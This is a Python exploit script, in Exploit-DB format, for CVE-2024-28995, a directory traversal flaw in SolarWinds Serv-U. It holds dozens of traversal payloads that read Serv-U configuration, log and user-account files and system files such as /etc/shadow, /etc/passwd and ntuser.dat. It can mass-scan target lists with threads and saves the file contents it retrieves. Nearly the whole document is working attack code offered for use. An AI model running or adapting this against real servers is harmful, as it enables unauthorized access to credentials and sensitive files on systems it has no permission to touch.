# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal
# Date: 2025-05-28
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/ibrahimsql
# Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server
# Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration
# Version: <= 15.4.2 HF1
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-28995
# Description:
# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow
# attackers to read sensitive files on the host machine. This exploit demonstrates multiple
# path traversal techniques to access Serv-U log files and other system files on both
# Windows and Linux systems.
#
# References:
# - https://nvd.nist.gov/vuln/detail/cve-2024-28995
# - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/
# - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html
# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import concurrent.futures
import json
import os
import re
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
import requests
from colorama import Fore, Back, Style, init
# Initialize colorama
init(autoreset=True)
# Disable SSL warnings
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
pass
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
BANNER = rf'''
{Fore.CYAN}
______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \( _ )/ _ \ / _ \| ___|
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ (_) \__, |\__, |___) |
\____| \_/ |_____| |_____|\___/_____| |_| |_____\___/ /_/ /_/|____/
{Fore.YELLOW}
SolarWinds Serv-U Directory Traversal Exploit
{Fore.RED} CVE-2024-28995 by @ibrahimsql
{Style.RESET_ALL}
'''
class ScanResult:
def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):
self.url = url
self.is_vulnerable = is_vulnerable
self.version = version
self.os_type = os_type
self.file_content = file_content
self.path = path
self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
def to_dict(self):
return {
"url": self.url,
"is_vulnerable": self.is_vulnerable,
"version": self.version,
"os_type": self.os_type,
"path": self.path,
"timestamp": self.timestamp
}
def print_banner():
print(BANNER)
def normalize_url(url):
"""Normalize URL to ensure it has http/https protocol."""
if not url.startswith('http'):
url = f"https://{url}"
return url.rstrip('/')
def extract_server_version(headers):
"""Extract Serv-U version from server headers if available."""
if 'Server' in headers:
server_header = headers['Server']
# Look for Serv-U version pattern
match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header)
if match:
return match.group(1)
return None
def is_vulnerable_version(version):
"""Check if the detected version is vulnerable (15.4.2 HF1 or lower)."""
if not version:
return None
try:
# Split version numbers
major, minor, patch = map(int, version.split('.'))
# Vulnerable if lower than 15.4.2 HF2
if major < 15:
return True
elif major == 15:
if minor < 4:
return True
elif minor == 4:
if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable
return True
except:
pass
return False
def get_request(url, timeout=15):
"""Make a GET request to the specified URL."""
try:
response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)
return response
except requests.RequestException as e:
return None
def detect_os_type(content):
"""Detect the operating system type from the file content."""
if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]):
return "Linux"
elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]):
return "Windows"
return None
def get_default_payloads():
"""Return a list of directory traversal payloads specific to CVE-2024-28995."""
return [
# Windows payloads - Serv-U specific files
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"},
{"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"},
{"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"},
{"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"},
{"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt", "name": "Serv-U Startup Log Alt4"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log", "name": "Serv-U Log"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt", "name": "Serv-U Log Alt"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt", "name": "Serv-U Error Log"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt", "name": "Serv-U Error Log Alt"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini", "name": "Serv-U Config"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini", "name": "Serv-U Admin Config"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt", "name": "Serv-U Users"},
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt", "name": "Serv-U User Accounts"},
# Verify Windows with various system files
{"path": "/?InternalDir=/../../../../windows&InternalFile=win.ini", "name": "Windows ini"},
{"path": "/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini", "name": "Windows ini Alt"},
{"path": "/?InternalDir=../../../../windows&InternalFile=win.ini", "name": "Windows ini Alt2"},
{"path": "/?InternalDir=../../../../../../windows&InternalFile=win.ini", "name": "Windows ini Deep"},
{"path": "/?InternalDir=/./../../../Windows/system.ini", "name": "Windows system.ini"},
{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini", "name": "Windows drivers.ini"},
{"path": "/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts", "name": "Windows hosts"},
{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt", "name": "Windows config.nt"},
{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat", "name": "Windows ntuser.dat"},
{"path": "/?InternalDir=/./../../../Windows/boot.ini", "name": "Windows boot.ini"},
# Verify Linux with various system files
{"path": "/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd", "name": "Linux passwd"},
{"path": "/?InternalDir=/../../../../etc^&InternalFile=passwd", "name": "Linux passwd Alt"},
{"path": "/?InternalDir=\\..\\..\\..\\..\\etc/passwd", "name": "Linux passwd Alt2"},
{"path": "/?InternalDir=../../../../etc&InternalFile=passwd", "name": "Linux passwd Alt3"},
{"path": "/?InternalDir=../../../../../../etc&InternalFile=passwd", "name": "Linux passwd Deep"},
{"path": "/?InternalDir=/./../../../etc/&InternalFile=shadow", "name": "Linux shadow"},
{"path": "/?InternalDir=/./../../../etc/&InternalFile=hosts", "name": "Linux hosts"},
{"path": "/?InternalDir=/./../../../etc/&InternalFile=hostname", "name": "Linux hostname"},
{"path": "/?InternalDir=/./../../../etc/&InternalFile=issue", "name": "Linux issue"},
{"path": "/?InternalDir=/./../../../etc/&InternalFile=os-release", "name": "Linux os-release"}
]
def create_custom_payload(directory, filename):
"""Create a custom payload with the specified directory and filename."""
# Try both encoding styles
payloads = [
{"path": f"/?InternalDir=/./../../../{directory}&InternalFile={filename}", "name": f"Custom {filename}"},
{"path": f"/?InternalDir=/../../../../{directory}^&InternalFile={filename}", "name": f"Custom {filename} Alt"},
{"path": f"/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}", "name": f"Custom {filename} Alt2"}
]
return payloads
def load_wordlist(wordlist_path):
"""Load custom paths from a wordlist file."""
payloads = []
try:
with open(wordlist_path, 'r') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
# Check if the line contains a directory and file separated by a delimiter
if ':' in line:
directory, filename = line.split(':', 1)
payloads.extend(create_custom_payload(directory, filename))
else:
# Assume it's a complete path
payloads.append({"path": line, "name": f"Wordlist: {line[:20]}..."})
return payloads
except Exception as e:
print(f"{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}")
return []
def scan_target(url, custom_payloads=None):
"""Scan a target URL for the CVE-2024-28995 vulnerability."""
url = normalize_url(url)
result = ScanResult(url)
# Try to get server version first
try:
response = get_request(url)
if response and response.headers:
result.version = extract_server_version(response.headers)
vulnerable_version = is_vulnerable_version(result.version)
if vulnerable_version is False:
print(f"{Fore.YELLOW}[*] {url} - Serv-U version {result.version} appears to be patched{Style.RESET_ALL}")
# Still continue scanning as version detection may not be reliable
except Exception as e:
pass
# Get all payloads to try
payloads = get_default_payloads()
if custom_payloads:
payloads.extend(custom_payloads)
# Try each payload
for payload in payloads:
full_url = f"{url}{payload['path']}"
try:
print(f"{Fore.BLUE}[*] Trying: {payload['name']} on {url}{Style.RESET_ALL}")
response = get_request(full_url)
if response and response.status_code == 200:
content = response.text
# Check if the response contains meaningful content
if len(content) > 100: # Arbitrary threshold to filter out error pages
os_type = detect_os_type(content)
if os_type:
result.is_vulnerable = True
result.os_type = os_type
result.file_content = content
result.path = payload['path']
print(f"{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} - {payload['name']} - Detected {os_type} system{Style.RESET_ALL}")
# Successful match - no need to try more payloads
return result
except Exception as e:
continue
if not result.is_vulnerable:
print(f"{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}")
return result
def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None):
"""Scan multiple targets using thread pool."""
results = []
custom_payloads = []
# Add custom payloads if specified
if custom_dir and custom_file:
custom_payloads.extend(create_custom_payload(custom_dir, custom_file))
# Add wordlist payloads if specified
if wordlist:
custom_payloads.extend(load_wordlist(wordlist))
print(f"{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}")
# Use fixed thread count of 10
with ThreadPoolExecutor(max_workers=10) as executor:
future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets}
for future in as_completed(future_to_url):
try:
result = future.result()
results.append(result)
except Exception as e:
print(f"{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}")
return results
def save_results(results, output_file):
"""Save scan results to a JSON file."""
output_data = [result.to_dict() for result in results]
try:
with open(output_file, 'w') as f:
json.dump(output_data, f, indent=2)
print(f"{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}")
def save_vulnerable_content(result, output_dir):
"""Save the vulnerable file content to a file."""
if not os.path.exists(output_dir):
os.makedirs(output_dir)
# Create a safe filename from the URL
parsed_url = urlparse(result.url)
safe_filename = f"{parsed_url.netloc.replace(':', '_')}.txt"
output_path = os.path.join(output_dir, safe_filename)
try:
with open(output_path, 'w') as f:
f.write(f"URL: {result.url}\n")
f.write(f"Path: {result.path}\n")
f.write(f"Version: {result.version or 'Unknown'}\n")
f.write(f"OS Type: {result.os_type or 'Unknown'}\n")
f.write(f"Timestamp: {result.timestamp}\n")
f.write("\n--- File Content ---\n")
f.write(result.file_content)
print(f"{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28995 - SolarWinds Serv-U Directory Traversal Scanner")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File containing a list of URLs to scan")
parser.add_argument("-d", "--dir", help="Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)")
parser.add_argument("-n", "--filename", help="Custom filename to read (e.g., Serv-U-StartupLog.txt)")
parser.add_argument("-w", "--wordlist", help="Path to wordlist containing custom paths to try")
parser.add_argument("-o", "--output", help="Output JSON file to save results")
args = parser.parse_args()
print_banner()
# Validate arguments
if not args.url and not args.file:
parser.print_help()
print(f"\n{Fore.RED}[!] Error: Either -u/--url or -f/--file is required{Style.RESET_ALL}")
sys.exit(1)
targets = []
# Get targets
if args.url:
targets.append(args.url)
if args.file:
try:
with open(args.file, "r") as f:
targets.extend([line.strip() for line in f.readlines() if line.strip()])
except Exception as e:
print(f"{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}")
sys.exit(1)
# Deduplicate targets
targets = list(set(targets))
if not targets:
print(f"{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}")
sys.exit(1)
print(f"{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}")
# Set output file
output_file = args.output or f"cve_2024_28995_results_{time.strftime('%Y%m%d_%H%M%S')}.json"
# Start scanning
results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist)
# Process results
vulnerable_count = sum(1 for result in results if result.is_vulnerable)
print(f"\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}")
print(f"{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}")
# Save results
save_results(results, output_file)
# Save vulnerable file contents
for result in results:
if result.is_vulnerable and result.file_content:
save_vulnerable_content(result, "vulnerable_files")
print(f"\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}")
sys.exit(0)
except Exception as e:
print(f"\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}")
sys.exit(1)